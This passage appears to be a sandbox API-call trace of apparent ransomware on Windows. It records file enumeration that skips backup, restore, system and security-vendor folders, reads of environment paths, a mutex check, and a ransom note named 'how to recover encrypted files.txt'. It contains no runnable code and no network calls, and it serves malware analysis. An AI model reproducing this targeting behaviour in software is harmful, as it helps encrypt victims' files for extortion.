ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x553188, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e692c8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x555198, cFileName="㪀P\xfdee㰒", cAlternateFileName="븄R䱠@뻜R企@\x18?T\x18q")) returned 0xffffffff [0046.069] GetLastError () returned 0x2 [0046.069] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\es-ES\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\es-es\\") returned 0x39 [0046.069] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69390, cbMultiByte=6, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="adobe\\뾰RÀ") returned 6 [0046.069] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=7, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Oracle\\ft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 7 [0046.069] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\es-ES\\Oracle", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x553188, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e692c8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x555198, cFileName="㪀P\xfdee㰒", cAlternateFileName="븄R䱠@⇜R企@\x18?T\x18y")) returned 0xffffffff [0046.069] GetLastError () returned 0x2 [0046.070] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\es-ES\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\es-es\\") returned 0x39 [0046.070] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69390, cbMultiByte=7, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="oracle\\T ") returned 7 [0046.070] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=7, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Archiveft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 7 [0046.070] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\es-ES\\Archive", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x553188, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e692c8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x555198, cFileName="㪀P\xfdee㰒", cAlternateFileName="븄R䱠@Q企@\x18?T\x18\x81")) returned 0xffffffff [0046.070] GetLastError () returned 0x2 [0046.070] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\es-ES\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\es-es\\") returned 0x39 [0046.070] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69390, cbMultiByte=7, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="archiveT ") returned 7 [0046.070] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=6, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Backupeft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 6 [0046.070] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\es-ES\\Backup", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x553188, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e692c8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x555198, cFileName="㪀P\xfdee㰒", cAlternateFileName="븄R䱠@뻜R企@\x18?T\x18\x88")) returned 0xffffffff [0046.070] GetLastError () returned 0x2 [0046.071] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\es-ES\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\es-es\\") returned 0x39 [0046.071] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69390, cbMultiByte=6, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="backup?T ") returned 6 [0046.071] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=6, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Reserveft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 6 [0046.071] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\es-ES\\Reserv", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x553188, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e692c8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x555198, cFileName="㪀P\xfdee㰒", cAlternateFileName="븄R䱠@⇜R企@\x18?T\x18\x8f")) returned 0xffffffff [0046.071] GetLastError () returned 0x2 [0046.071] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\es-ES\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\es-es\\") returned 0x39 [0046.071] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69390, cbMultiByte=6, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="reserv?T ") returned 6 [0046.071] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=7, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Restoreft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 7 [0046.071] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\es-ES\\Restore", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x553188, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e692c8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x555198, cFileName="㪀P\xfdee㰒", cAlternateFileName="븄R䱠@Q企@\x18?T\x18\x97")) returned 0xffffffff [0046.071] GetLastError () returned 0x2 [0046.072] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\es-ES\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\es-es\\") returned 0x39 [0046.072] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69390, cbMultiByte=7, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="restoreT ") returned 7 [0046.072] GlobalLock (hMem=0x44000c) returned 0x551178 [0046.072] GlobalHandle (pMem=0x551178) returned 0x44000c [0046.072] GlobalUnlock (hMem=0x44000c) returned 0 [0046.072] GlobalLock (hMem=0x44000c) returned 0x551178 [0046.072] GlobalLock (hMem=0x440004) returned 0x553188 [0046.072] GlobalHandle (pMem=0x551178) returned 0x44000c [0046.072] GlobalUnlock (hMem=0x44000c) returned 0 [0046.072] GlobalHandle (pMem=0x553188) returned 0x440004 [0046.072] GlobalUnlock (hMem=0x440004) returned 0 [0046.072] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\es-ES\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\es-es\\") returned 0x39 [0046.072] GetEnvironmentVariableA (in: lpName="ALLUSERSPROFILE", lpBuffer=0x18e63c, nSize=0x400 | out: lpBuffer="C:\\ProgramData") returned 0xe [0046.072] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a748, cbMultiByte=15, lpWideCharStr=0x18da3c, cchWideChar=2047 | out: lpWideCharStr="c:\\programdata\\") returned 15 [0046.072] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\es-ES\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\es-es\\") returned 0x39 [0046.072] GetEnvironmentVariableA (in: lpName="APPDATA", lpBuffer=0x18e63c, nSize=0x400 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming") returned 0x2d [0046.072] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1ddb5e8, cbMultiByte=46, lpWideCharStr=0x18da3c, cchWideChar=2047 | out: lpWideCharStr="c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 46 [0046.073] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\es-ES\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\es-es\\") returned 0x39 [0046.073] GetEnvironmentVariableA (in: lpName="ProgramData", lpBuffer=0x18e63c, nSize=0x400 | out: lpBuffer="C:\\ProgramData") returned 0xe [0046.073] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a788, cbMultiByte=15, lpWideCharStr=0x18da3c, cchWideChar=2047 | out: lpWideCharStr="c:\\programdata\\jn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 15 [0046.073] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\es-ES\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\es-es\\") returned 0x39 [0046.073] GetEnvironmentVariableA (in: lpName="WINDIR", lpBuffer=0x18e63c, nSize=0x400 | out: lpBuffer="C:\\Windows") returned 0xa [0046.073] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69420, cbMultiByte=11, lpWideCharStr=0x18da3c, cchWideChar=2047 | out: lpWideCharStr="c:\\windows\\ata\\jn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 11 [0046.073] GlobalLock (hMem=0x440004) returned 0x551178 [0046.073] GlobalHandle (pMem=0x551178) returned 0x440004 [0046.073] GlobalUnlock (hMem=0x440004) returned 0 [0046.073] GlobalLock (hMem=0x440004) returned 0x551178 [0046.073] GlobalLock (hMem=0x44000c) returned 0x553188 [0046.073] GlobalHandle (pMem=0x551178) returned 0x440004 [0046.073] GlobalUnlock (hMem=0x440004) returned 0 [0046.073] GlobalHandle (pMem=0x553188) returned 0x44000c [0046.073] GlobalUnlock (hMem=0x44000c) returned 0 [0046.073] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\es-ES\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\es-es\\") returned 0x39 [0046.073] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a788, cbMultiByte=15, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\$recycle.bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 15 [0046.074] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\es-ES\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\es-es\\") returned 0x39 [0046.074] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69390, cbMultiByte=11, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="\\all users\\bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 11 [0046.074] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\es-ES\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\es-es\\") returned 0x39 [0046.074] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69390, cbMultiByte=9, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="\\appdata\\s\\bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 9 [0046.074] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\es-ES\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\es-es\\") returned 0x39 [0046.074] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a788, cbMultiByte=18, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="\\application data\\alpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 18 [0046.074] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\es-ES\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\es-es\\") returned 0x39 [0046.074] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390f8, cbMultiByte=28, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\system volume information\\pdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 28 [0046.074] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\es-ES\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\es-es\\") returned 0x39 [0046.074] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69390, cbMultiByte=10, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\windows\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 10 [0046.075] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\es-ES\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\es-es\\") returned 0x39 [0046.075] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69390, cbMultiByte=8, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\intel\\s\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 8 [0046.075] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\es-ES\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\es-es\\") returned 0x39 [0046.075] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69390, cbMultiByte=9, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\nvidia\\\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 9 [0046.075] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\es-ES\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\es-es\\") returned 0x39 [0046.075] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a788, cbMultiByte=13, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="\\trend micro\\me information\\pdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 13 [0046.075] GlobalLock (hMem=0x44000c) returned 0x551178 [0046.075] GlobalHandle (pMem=0x551178) returned 0x44000c [0046.075] GlobalUnlock (hMem=0x44000c) returned 0 [0046.075] GlobalLock (hMem=0x44000c) returned 0x551178 [0046.075] GlobalLock (hMem=0x440004) returned 0x553188 [0046.075] GlobalHandle (pMem=0x551178) returned 0x44000c [0046.075] GlobalUnlock (hMem=0x44000c) returned 0 [0046.075] GlobalHandle (pMem=0x553188) returned 0x440004 [0046.075] GlobalUnlock (hMem=0x440004) returned 0 [0046.075] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e61d48, cbMultiByte=3, lpWideCharStr=0x18da98, cchWideChar=2047 | out: lpWideCharStr="*.* SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 3 [0046.075] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\es-ES\\*.*", lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x54e200 [0046.076] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0046.076] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe3f3c6a2, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe41519b8, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe41519b8, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0046.076] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea88 | out: lpLocalFileTime=0x18ea88) returned 1 [0046.076] FileTimeToDosDateTime (in: lpFileTime=0x18ea88, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0046.076] GlobalLock (hMem=0x440004) returned 0x552180 [0046.076] GlobalHandle (pMem=0x552180) returned 0x440004 [0046.076] GlobalUnlock (hMem=0x440004) returned 0 [0046.076] GlobalLock (hMem=0x440004) returned 0x552180 [0046.076] GlobalLock (hMem=0x44000c) returned 0x554190 [0046.076] GlobalHandle (pMem=0x552180) returned 0x440004 [0046.076] GlobalUnlock (hMem=0x440004) returned 0 [0046.076] GlobalHandle (pMem=0x554190) returned 0x44000c [0046.076] GlobalUnlock (hMem=0x44000c) returned 0 [0046.076] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0046.076] CharLowerBuffW (in: lpsz="tipresx.dll.mui", cchLength=0xf | out: lpsz="tipresx.dll.mui") returned 0xf [0046.076] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0046.076] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="u", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="uê\x18", lpUsedDefaultChar=0x0) returned 1 [0046.076] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mê\x18", lpUsedDefaultChar=0x0) returned 1 [0046.076] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ê\x18", lpUsedDefaultChar=0x0) returned 1 [0046.076] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lê\x18", lpUsedDefaultChar=0x0) returned 1 [0046.076] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lê\x18", lpUsedDefaultChar=0x0) returned 1 [0046.076] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="d", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dê\x18", lpUsedDefaultChar=0x0) returned 1 [0046.076] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ê\x18", lpUsedDefaultChar=0x0) returned 1 [0046.077] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="x", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="xê\x18", lpUsedDefaultChar=0x0) returned 1 [0046.077] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sê\x18", lpUsedDefaultChar=0x0) returned 1 [0046.077] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eê\x18", lpUsedDefaultChar=0x0) returned 1 [0046.077] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rê\x18", lpUsedDefaultChar=0x0) returned 1 [0046.077] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pê\x18", lpUsedDefaultChar=0x0) returned 1 [0046.077] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0046.077] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0046.077] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390f8, cbMultiByte=34, lpWideCharStr=0x18da24, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt?\x18\x06") returned 34 [0046.077] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\es-ES\\tipresx.dll.mui", cchWideChar=72, lpMultiByteStr=0x18da00, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\es-ES\\tipresx.dll.muir", lpUsedDefaultChar=0x0) returned 72 [0046.077] CharLowerBuffW (in: lpsz=".mui", cchLength=0x4 | out: lpsz=".mui") returned 0x4 [0046.077] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".mui", cchWideChar=4, lpMultiByteStr=0x18da24, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".muiShared\\ink\\es-ES\\tipresx.dll.muir", lpUsedDefaultChar=0x0) returned 4 [0046.077] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe3f3c6a2, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe41519b8, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe41519b8, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0046.077] GetLastError () returned 0x12 [0046.077] FindClose (in: hFindFile=0x54e200 | out: hFindFile=0x54e200) returned 1 [0046.077] GlobalLock (hMem=0x44000c) returned 0x551178 [0046.077] GlobalHandle (pMem=0x551178) returned 0x44000c [0046.077] GlobalUnlock (hMem=0x44000c) returned 0 [0046.077] GlobalLock (hMem=0x44000c) returned 0x551178 [0046.077] GlobalLock (hMem=0x440004) returned 0x553188 [0046.077] GlobalHandle (pMem=0x551178) returned 0x44000c [0046.077] GlobalUnlock (hMem=0x44000c) returned 0 [0046.077] GlobalHandle (pMem=0x553188) returned 0x440004 [0046.077] GlobalUnlock (hMem=0x440004) returned 0 [0046.078] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e61d68, cbMultiByte=3, lpWideCharStr=0x18da98, cchWideChar=2047 | out: lpWideCharStr="*.* SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 3 [0046.078] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\es-ES\\*.*", lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, 